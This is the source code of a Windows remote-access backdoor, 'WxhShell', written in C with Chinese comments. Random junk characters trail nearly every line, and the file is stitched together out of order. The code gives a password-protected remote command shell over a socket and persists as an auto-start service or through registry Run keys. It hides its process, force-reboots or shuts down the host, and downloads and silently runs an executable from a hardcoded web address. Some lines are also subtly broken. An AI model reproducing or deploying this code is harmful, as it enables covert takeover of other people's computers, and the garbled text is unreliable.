  case 'd': { >uy(N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;/s##7qf  
    if(Boot(SHUTDOWN)) &wea]./B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q35jJQ$<`  
    else { #y>q)Ph  
    closesocket(wsh); $dkkgsw 7  
    ExitThread(0); jk9/EmV*r  
    } cOrFe;8-.  
    break; GX,)~Syw*  
    } v~`'!N8  
  // 获取shell 3`U^sr:[%  
  case 's': { }]!?t~5*  
    CmdShell(wsh); RQQ\y`h`  
    closesocket(wsh); O&@pi-=o  
    ExitThread(0); "^&Te%x_b  
    break; V \Sl->:  
  } RM6*c .  
  // 退出  Lxqv  
  case 'x': { M%"{OHj!o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >#EOCo  
    CloseIt(wsh); u81@vEK:_  
    break; JS#AoPWA  
    } 0jmPj   
  // 离开 FQqk+P!  
  case 'q': { .F^372hH3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;JV(!8[  
    closesocket(wsh); 6!$2nK+  
    WSACleanup(); '8V>:dy>  
    exit(1); -W'T3_  
    break; cZ l/8?dj}  
        } <BX'Owbs!O  
  } >`o;hTS  
  } s~n@|m9k  
^udl&>  
  // 提示信息 3u@=]0ZN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0$:jZ/._  
} (pT 7m  
  } r9y(j z  
@D+2dT0[M  
  return; gvCQ![  
} Un^3%=;  
+Vw]DLWR  
// shell模块句柄 Y |'}VU  
int CmdShell(SOCKET sock) M=#'+CF}W  
{ vV*i)`IXe  
STARTUPINFO si; 0.z\YTZ9  
ZeroMemory(&si,sizeof(si)); R}T\<6Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X6G2$|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }[b3$WZ  
PROCESS_INFORMATION ProcessInfo; D0VbD" y  
char cmdline[]="cmd"; 6`V~cVu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i(an]%'v  
  return 0; QUK v :;  
} }2.0e5[  
9six]T  
// 自身启动模式 J|.n bSE  
int StartFromService(void) qj1Fj  
{ 1dl(`=^X  
typedef struct aU?HIIA  
{ &\L\n}i-  
  DWORD ExitStatus; Bh5z4  
  DWORD PebBaseAddress; 2f0qfF  
  DWORD AffinityMask; H J0Rcw%  
  DWORD BasePriority; (Q F-=o  
  ULONG UniqueProcessId; A# Ne07d  
  ULONG InheritedFromUniqueProcessId; ?4H>1Wkb  
}   PROCESS_BASIC_INFORMATION; ^ RIWW0  
S:{`eDk\A_  
PROCNTQSIP NtQueryInformationProcess; kj/v$m  
>bbvQb +j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P&5kO;ia  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0@/C5 v  
rq![a};~  
  HANDLE             hProcess; 82KWe=  
  PROCESS_BASIC_INFORMATION pbi; e_3($pj  
(,;4f7\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /j"aOLL|  
  if(NULL == hInst ) return 0; x9i^ _3Z  
TxvvCV^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "5b4fQ;x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  s4vj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nXAGwU8a  
bmI6OIWl  
  if (!NtQueryInformationProcess) return 0; bu,xIT^  
Rg%Xy`gS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Hh`HMa'q  
  if(!hProcess) return 0; vE C#W43l  
7_CX6:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /amWf^z  
V#TNv0&0  
  CloseHandle(hProcess); Z7J4r TA  
Xz\X 8I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Rv Uw,=  
if(hProcess==NULL) return 0; ]6@6g>f?  
a3c43!J?M  
HMODULE hMod; \e' oAhM  
char procName[255]; 8/ zv3.+[  
unsigned long cbNeeded; Uc( z|  
sOhKMz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i#:M2&twE  
<|1Khygv  
  CloseHandle(hProcess); _|wnmeL*  
&x)nK  
if(strstr(procName,"services")) return 1; // 以服务启动 K8{ef  
>6Ody<JPHP  
  return 0; // 注册表启动 dfWtLY  
} #Q$e%VJ(c1  
W<T Ui51Y  
// 主模块 (N?nOOQ  
int StartWxhshell(LPSTR lpCmdLine)  & {=}U  
{ GsU.Lkf  
  SOCKET wsl; ~mC>G 4y$a  
BOOL val=TRUE; B_S))3   
  int port=0; :4[_&]H  
  struct sockaddr_in door; E'^ny4gL  
7[:?VXQ  
  if(wscfg.ws_autoins) Install(); 3hfv^H  
Xa_:B\ic  
port=atoi(lpCmdLine); Qq3>Xv <  
@`XbM7D 5  
if(port<=0) port=wscfg.ws_port; ;^cMP1SH  
wQ?Z y;/S  
  WSADATA data; 2hY"bpGW   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `. 3{  
iz3Hoj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \|6Q]3l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]T._TZ"  
  door.sin_family = AF_INET; TecWv@.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i4lB ]k  
  door.sin_port = htons(port); @?5pY^>DK  
t(1gJZs>kX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MUUhg  
closesocket(wsl); \-D[C+1(  
return 1; ';LsEI[  
} "qoJIwl#q  
Sobp;OZ5  
  if(listen(wsl,2) == INVALID_SOCKET) { N`O0jH{  
closesocket(wsl); (5kL6d2  
return 1; qRXHaQi@9  
} DI[  
  Wxhshell(wsl); 6kO+E5;X  
  WSACleanup(); 4iY <7l8  
I5E+=.T*ar  
return 0; M$e$%kPShE  
\6!s";=hQ  
} ~?B\+6<V  
*~^%s +b  
// 以NT服务方式启动 j]m|}n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -BH T'zq1S  
{ V o%GO 9b;  
DWORD   status = 0; eBqF@'DQ  
  DWORD   specificError = 0xfffffff; ([]\7}+8  
g_)i)V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !L)yI#i4C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4F+G;'JV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mxICQ>s b  
  serviceStatus.dwWin32ExitCode     = 0; Ryn@">sVI  
  serviceStatus.dwServiceSpecificExitCode = 0; [Vj|fy4  
  serviceStatus.dwCheckPoint       = 0; BJjxy0+  
  serviceStatus.dwWaitHint       = 0; (, $Lp0mB7  
qot {#tk d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n"<'F4r  
  if (hServiceStatusHandle==0) return; ,.V=y%  
9g7Ok9dF  
status = GetLastError(); 4|NcWpaV7  
  if (status!=NO_ERROR) S9 @*g3  
{ Y^gIvX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QY$4D;M`g6  
    serviceStatus.dwCheckPoint       = 0; 9HAK  
    serviceStatus.dwWaitHint       = 0; JB HnJm  
    serviceStatus.dwWin32ExitCode     = status; \$ :)Ka  
    serviceStatus.dwServiceSpecificExitCode = specificError; cyWDtq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n;k B_i*l  
    return; kv`5"pa7M  
  } hcQv!!Q"k$  
Q#Xa]A-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %Gm4,+8P3o  
  serviceStatus.dwCheckPoint       = 0; >2tosxH M  
  serviceStatus.dwWaitHint       = 0; )==Qo/N:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hYh~[Kr^@^  
} E /V`NqC  
;o.,vQF*  
// 处理NT服务事件,比如:启动、停止 >IHf5})R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F-Ywl)  
{ HA. O"A8`  
switch(fdwControl) !}HT&N8[r  
{ h3;RVtS  
case SERVICE_CONTROL_STOP: _2WIi/6K  
  serviceStatus.dwWin32ExitCode = 0; AI2>{V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y'o.`':\~  
  serviceStatus.dwCheckPoint   = 0; 6 i]B8Ziq{  
  serviceStatus.dwWaitHint     = 0; <(Ktf0'__  
  { ="]y^&(L(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LU@+O12  
  } t8-LPq  
  return; H$]FUv8  
case SERVICE_CONTROL_PAUSE: 2LH.If  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U KdCG.E9^  
  break; +6 x:+9S  
case SERVICE_CONTROL_CONTINUE: .gd'<l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L!kbDbqn  
  break; $ -f(.S  
case SERVICE_CONTROL_INTERROGATE: P3V }cGZ  
  break; p\M\mK  
}; :@+@vM;gh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0G/_"} @  
} cGe-|>:  
y&+Sp/6BYA  
// 标准应用程序主函数 Sc&p*G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4gK_' b6"  
{ T13Jno  
0"$'1g^]7  
// 获取操作系统版本 {siIRl2&  
OsIsNt=GetOsVer(); ~UV$(5&-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KmRxbf  
yn-TN_/Y,  
  // 从命令行安装 L<TL6  
  if(strpbrk(lpCmdLine,"iI")) Install(); QOY M/1U  
d512Y[ R  
  // 下载执行文件 1\+d 5Q0  
if(wscfg.ws_downexe) { ?BnjtefIe  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  (.B+U'6  
  WinExec(wscfg.ws_filenam,SW_HIDE); n:[GK_  
} &c1zEgl  
S4BU!  
if(!OsIsNt) { "+:IA|1wD  
// 如果时win9x,隐藏进程并且设置为注册表启动  6,;7iA]  
HideProc(); %{M&"Mv  
StartWxhshell(lpCmdLine); $N)b6(}F10  
} \Lu] %}  
else lGtTZ cg  
  if(StartFromService()) 9N]V F'  
  // 以服务方式启动 p8Wik<'^  
  StartServiceCtrlDispatcher(DispatchTable); (}LLk +  
else ^J Y]w^u  
  // 普通方式启动 ",qJG]_ <  
  StartWxhshell(lpCmdLine); ..hD_k  
Bys_8x}  
return 0; Sx3R 2-!Z  
} csay\Q{  
,a /<t"  
Y^@Nvt$<K  
KcQe1mT!+  
=========================================== q!P{a^Fnc  
]#VNZ#("  
U}Aoz|  
fer~NlX  
+sc--e?  
S*-/#j  
" sjj*7i*  
vCh/%7+  
#include <stdio.h> !DUC#)F  
#include <string.h> <>FpvdB  
#include <windows.h> Wa|lWIMK  
#include <winsock2.h> D~s TQfWr  
#include <winsvc.h> .j)f'<;%  
#include <urlmon.h> {)8!>K%G  
u`2[V4=L  
#pragma comment (lib, "Ws2_32.lib") 9cm9;  
#pragma comment (lib, "urlmon.lib") T1Q c?5K^  
w_hGWpm  
#define MAX_USER   100 // 最大客户端连接数 S!;:7?mq  
#define BUF_SOCK   200 // sock buffer <x|P}  
#define KEY_BUFF   255 // 输入 buffer TE.O@:7Z  
,y5 7tY  
#define REBOOT     0   // 重启 8T#tB,<fFW  
#define SHUTDOWN   1   // 关机 vF,iHzv  
WTcrfs)T  
#define DEF_PORT   5000 // 监听端口 *=X$j~#X  
hi30|^l-  
#define REG_LEN     16   // 注册表键长度 0ThX1)SH  
#define SVC_LEN     80   // NT服务名长度 NdW2OUxw"  
dlx "L%  
// 从dll定义API 7:D@6<J?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  H?(I-vO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @l:o0(!W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9"H]zfW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M;{btu^a  
`;9Z?]}`  
// wxhshell配置信息 !A\Qwg>  
struct WSCFG { 2V 1|b`b#4  
  int ws_port;         // 监听端口 kT+Idu  
  char ws_passstr[REG_LEN]; // 口令 w)hH8jx{  
  int ws_autoins;       // 安装标记, 1=yes 0=no n8.W$&-ia  
  char ws_regname[REG_LEN]; // 注册表键名 v{Rj,Ou  
  char ws_svcname[REG_LEN]; // 服务名 J ^J$I!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $#k8xb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QyGTm"9l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y|NANjEAfm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BP6|^Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a}Dx"zl;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2k}" 52  
DaV:Slp9  
}; d%y)/5  
5p.vo"7  
// default Wxhshell configuration }J~ d6m  
struct WSCFG wscfg={DEF_PORT, {*Ag[HS0u  
    "xuhuanlingzhe", g8JO/s5xV  
    1, t4RI%m\  
    "Wxhshell", xIN&>D'|N  
    "Wxhshell", w$X"E*~>8  
            "WxhShell Service", ,[ UqUEO  
    "Wrsky Windows CmdShell Service", 6z6\-45  
    "Please Input Your Password: ", XA&Vtgu  
  1, [IF5Iv\b  
  "http://www.wrsky.com/wxhshell.exe", tJ{3Z}K  
  "Wxhshell.exe" LRJY63A  
    }; X7cqAi  
'S_OOzpC  
// 消息定义模块 ; S(KJV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8QYP\7}o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rjFIK`_w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ej\M e  
char *msg_ws_ext="\n\rExit."; @B@`V F  
char *msg_ws_end="\n\rQuit."; ju jhK'\  
char *msg_ws_boot="\n\rReboot..."; B<99-7x3  
char *msg_ws_poff="\n\rShutdown..."; -W/Lg5eK  
char *msg_ws_down="\n\rSave to "; ^V1.Y  
A#yZh\#  
char *msg_ws_err="\n\rErr!"; S,ENbP%0r  
char *msg_ws_ok="\n\rOK!"; Lp|7s8?  
3Kx&+  
char ExeFile[MAX_PATH]; +f}u.T_#  
int nUser = 0; 3 #8bG(  
HANDLE handles[MAX_USER]; \jkMnS6FvL  
int OsIsNt; \]j{  
eWN[EJI<  
SERVICE_STATUS       serviceStatus; 5f~49(v]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %4=r .9  
% `4\ 8H`  
// 函数声明 $ $=N'Q  
int Install(void); jkVX>*.|oy  
int Uninstall(void); tdCD!rV`{  
int DownloadFile(char *sURL, SOCKET wsh); {Rm N1'%  
int Boot(int flag); R{3?`x!fY  
void HideProc(void); 'lsG?  
int GetOsVer(void); CeZ+!-lG  
int Wxhshell(SOCKET wsl); T 5AoBUw  
void TalkWithClient(void *cs); T{USzMj  
int CmdShell(SOCKET sock); w1Xe9'$Qb  
int StartFromService(void); 6h5,XcO4  
int StartWxhshell(LPSTR lpCmdLine); Rk8oshS+2  
nlq"OzcH04  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CDT%/9+-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;8~tt I  
DjMhI_Yu  
// 数据结构和表定义 (lz Z=T  
SERVICE_TABLE_ENTRY DispatchTable[] = <`f~Z|/-_(  
{ ~jpdDV&u\  
{wscfg.ws_svcname, NTServiceMain}, Dcep^8'  
{NULL, NULL} !eC]=PoY  
}; ]\.3<^  
k-;A9!^h  
// 自我安装 Mb1K:U  
int Install(void) wn&5Ul9Elb  
{ s?,\aSsU@  
  char svExeFile[MAX_PATH]; gK6_vS4K)  
  HKEY key; [b?[LK}.  
  strcpy(svExeFile,ExeFile);  {ch+G~oS  
!8Mi+ZV  
// 如果是win9x系统,修改注册表设为自启动 gz~)v\5D/  
if(!OsIsNt) { a9sbB0q-K@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =iFI@2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rQ:+LVfXjA  
  RegCloseKey(key); )/Mk\``j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *;0Ods+IcY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :rdnb=n  
  RegCloseKey(key); +*')0I  
  return 0; 1oSU>I_i  
    } +p\+ 15  
  } lI&5.,2MP  
} t91z<Y|  
else { \:pd+8  
d"#& VlKcv  
// 如果是NT以上系统,安装为系统服务 $psPNJG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !=B=1th4  
if (schSCManager!=0) f.{/PL  
{ c) q'" r  
  SC_HANDLE schService = CreateService 7+c}D>/`:  
  ( KM&bu='L^  
  schSCManager, }n;.E&<[  
  wscfg.ws_svcname, |j w{7\+  
  wscfg.ws_svcdisp, #BOLq`9 f  
  SERVICE_ALL_ACCESS, &XF@Dvv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1!"iN~  
  SERVICE_AUTO_START, 0\tdxi  
  SERVICE_ERROR_NORMAL, 8v12<ktR`  
  svExeFile, @Z[XV"w|  
  NULL, V =-hqo(  
  NULL, #_9Jam%M  
  NULL, AY)R2> fW%  
  NULL, CWx_9b zk  
  NULL Zf *DC~E_  
  ); r(i!".Z  
  if (schService!=0) ^sb+|b  
  { >DkRl  
  CloseServiceHandle(schService); eGE[4Z  
  CloseServiceHandle(schSCManager); 9|5>?'CqP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $QC^hC  
  strcat(svExeFile,wscfg.ws_svcname); ^oH!FN`;{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cK _:?G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %5-   
  RegCloseKey(key); bG&vCH;}%  
  return 0; r6 :c<p[c  
    } whb,2=gIE  
  } ^ygh[.e,  
  CloseServiceHandle(schSCManager); H;kk:s'  
} AiOz1Er  
} ^h~oxZJw  
vI1UFD D  
return 1; (rB?@:zN  
} MB3 0.V/\  
eW.[M?,  
// 自我卸载 (8d"G9R(  
int Uninstall(void) _^Yav.A=  
{ |\] _u 3  
  HKEY key; GJ P\vsaQ  
8iKupaaOX  
if(!OsIsNt) { ganXO5T$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~ s# !\Ye  
  RegDeleteValue(key,wscfg.ws_regname); 6j5?&)xJ  
  RegCloseKey(key); [ (eO_I5ep  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @ 9q/jv`  
  RegDeleteValue(key,wscfg.ws_regname); :^ *9E b  
  RegCloseKey(key); +~cW0z  
  return 0; +:m'a5Dm  
  } l! 9G  
} u[yUUYe  
} w$)E#|i  
else { 9G)q U  
8"2X 8C8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bWOn`#+&  
if (schSCManager!=0) 1h0cId8d  
{ u>I;Cir4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'l`T(_zL\%  
  if (schService!=0) WeqQw?-  
  { G>H',iOI  
  if(DeleteService(schService)!=0) { I~: AWS9  
  CloseServiceHandle(schService); j@b18wZ  
  CloseServiceHandle(schSCManager); 2 bQC 2  
  return 0; XkJzt  
  } xs ^$fn\  
  CloseServiceHandle(schService); d}e/f)(  
  } 2(Ez H  
  CloseServiceHandle(schSCManager); JkMf+ !  
} kH10z~(e  
} ;q6FdS  
#7~i.8L  
return 1; rBUdHd9  
} F 6 xQ`T|  
kb>/R/,9  
// 从指定url下载文件 ,'69RL?-Wg  
int DownloadFile(char *sURL, SOCKET wsh) wt@q+9:  
{ _a3,Zuv  
  HRESULT hr; 1*!`G5c,}  
char seps[]= "/"; E?/Bf@a28=  
char *token; c>*RQ4vE  
char *file; Vgh_F8G!V  
char myURL[MAX_PATH]; utz!ElzA  
char myFILE[MAX_PATH]; Zk.LGYz  
1Lf:TQB  
strcpy(myURL,sURL); f9Hm2wV  
  token=strtok(myURL,seps); 7TC=$y ,  
  while(token!=NULL) Yy"05V.  
  { ^dzg'6M  
    file=token; MOIH%lpe  
  token=strtok(NULL,seps); !PzlrH)M=p  
  } K] ^kUN_  
N:y3tpG  
GetCurrentDirectory(MAX_PATH,myFILE); 4oF8F)ASj  
strcat(myFILE, "\\"); i 7fQj, q  
strcat(myFILE, file); Bk~lE]Q3c7  
  send(wsh,myFILE,strlen(myFILE),0); dfDz/sD*  
send(wsh,"...",3,0); CjtXU=}A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^]$x/1I;  
  if(hr==S_OK) ( *(#;|m  
return 0; xsx @aF  
else }/yhwijg  
return 1; %s;#epP$  
pN)9 GO5  
} _M/ckv1q@  
t&SC>8M<  
// 系统电源模块 !po8[fz~x  
int Boot(int flag) Ocq.<#||H  
{ );wSay>%(  
  HANDLE hToken; ?=B$-)/  
  TOKEN_PRIVILEGES tkp; ;~$_A4;  
a{7>7%[  
  if(OsIsNt) { F#X&Tb{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /HsJyp+t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vr|9NP]v  
    tkp.PrivilegeCount = 1; I_('Mr)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GNzk Vy:u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zo-hH8J:  
if(flag==REBOOT) { 6 s{~9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :=BFx"Y  
  return 0; S ni Ck*T,  
} /vi>@a  
else { ugEh}3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^[no Gjy  
  return 0; \`\& G-\  
} JzJS?ZF  
  } ?GPTJ#=j=]  
  else { :b[ [}'  
if(flag==REBOOT) { %e2,p&0G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %|$h<~  
  return 0; tCAh?nR  
} -y70-K3  
else { /s"mqBXCG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5F{NPKa Q  
  return 0; >NWrT^rk  
} M=$ qus  
} <H{%`  
DT`TA#O  
return 1; LeDty_  
} &<}vs`W  
BbEWa  
// win9x进程隐藏模块 e^)+bmh  
void HideProc(void) '\8gY((7   
{ 4RCD<7  
QOA7#H-m9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e&WlJ  
  if ( hKernel != NULL ) h>AK^fX  
  { ru#,pJ=O(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tHAr9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); npC:SrI%  
    FreeLibrary(hKernel); Z<L|WRe  
  } [=k$Q (.3  
{;uOc{~+  
return; `}t<5_  
} dm8N;r/w  
-]$q8 Q(hM  
// 获取操作系统版本 0c6b_%Rd  
int GetOsVer(void) g\_J  
{ kr ,&aP<,  
  OSVERSIONINFO winfo; ?=zF]J:G1w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {m%]`0  
  GetVersionEx(&winfo); SU>2MT^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $gZC"~BR  
  return 1; ^pgVU&-~]/  
  else <'WS -P%U  
  return 0; HRQ3v`P.  
} Ruy qB>[o  
X5[.X()M4  
// 客户端句柄模块 P){b"`f  
int Wxhshell(SOCKET wsl) EWz,K] _'  
{ X#v6v)c  
  SOCKET wsh; i 'bviD  
  struct sockaddr_in client; g$X4ZRSel  
  DWORD myID; fkKk/M> 1  
vs=8x\W  
  while(nUser<MAX_USER) K=Q<G:+&V  
{ 3m;*gOLk6  
  int nSize=sizeof(client); DIAHI V<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $TU:iv1Fm  
  if(wsh==INVALID_SOCKET) return 1; MSQz,nn  
4Ny lc.2mi  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dZ6\2ok+  
if(handles[nUser]==0) h7?uM^p  
  closesocket(wsh); <GdQ""X  
else Al93x  
  nUser++; $3yzB9\a"  
  } F7!q18ew  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hl|EySno  
0:C^-zrx  
  return 0; 6'Sq|@VOi  
} yb/v?q?Fk  
xZ\`f-zL  
// 关闭 socket v % c-El%  
void CloseIt(SOCKET wsh) vV$6fvS  
{ $!LL  
closesocket(wsh); Uo]x6j<  
nUser--; dj}y6V&  
ExitThread(0); "|,;~k1  
} ,$oz1,Q/  
A?zxF5rfp  
// 客户端请求句柄 =NNA7E7c  
void TalkWithClient(void *cs) XYrZI/R  
{ |'+ [ '  
$ca>b X]  
  SOCKET wsh=(SOCKET)cs; I d}@  
  char pwd[SVC_LEN]; 6+.8nx:9X  
  char cmd[KEY_BUFF]; Jf</83RZ  
char chr[1]; j&y>?Y&Sb  
int i,j; wJ>.I<F6B  
iJaA&z5sr  
  while (nUser < MAX_USER) { PSB@yV <  
7eU|iDYo  
if(wscfg.ws_passstr) { ^630%YO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (?ofL|Cg(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e$Npo<u  
  //ZeroMemory(pwd,KEY_BUFF); vyhxS.[9  
      i=0; 9{- Sa  
  while(i<SVC_LEN) { 6\5"36&/rQ  
mo*ClU7  
  // 设置超时 +)<H,?/  
  fd_set FdRead; .}*_NU   
  struct timeval TimeOut; _mG>^QI.  
  FD_ZERO(&FdRead); lm[LDtc  
  FD_SET(wsh,&FdRead); 8|2I/#F}]  
  TimeOut.tv_sec=8; }uo.N  
  TimeOut.tv_usec=0; 4xsnN@b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r1]DkX <6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j0(+Kq:J  
X"fSM #  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K /A1g.$  
  pwd=chr[0]; kf -/rC)>  
  if(chr[0]==0xd || chr[0]==0xa) { d@QC[$qXj  
  pwd=0; |]=s  
  break; ,\CG}-v@CN  
  } ( L ]C  
  i++; )BX-Y@fpA  
    } uzO3_.4Y  
 ~=Q|EhF5  
  // 如果是非法用户,关闭 socket p}K\rpvJpu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $ 0Up.  
} s9 .nU  
<x->.R_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :/6gGU>pu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dt1,! sHn  
)K>2  
while(1) { =5D@~?W ZG  
Z.{r%W{2  
  ZeroMemory(cmd,KEY_BUFF); ,]cb3nP   
|$QL>{81  
      // 自动支持客户端 telnet标准   Fq`wx  
  j=0; rvwfQ'14  
  while(j<KEY_BUFF) { \CKf/:"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a";xG,U  
  cmd[j]=chr[0]; !<AY0fpY  
  if(chr[0]==0xa || chr[0]==0xd) { g| M@/D l  
  cmd[j]=0; >XomjU[srQ  
  break; )u}MyFl.  
  } ;Y"*Z2U  
  j++; f%ynod8  
    } <f/wWu}  
n%%u0a %  
  // 下载文件 4K<T_B/  
  if(strstr(cmd,"http://")) { ?6>rQ6tBv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jb {5   
  if(DownloadFile(cmd,wsh)) 6u-aV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YThFskRoO  
  else @K}8zMmW#  
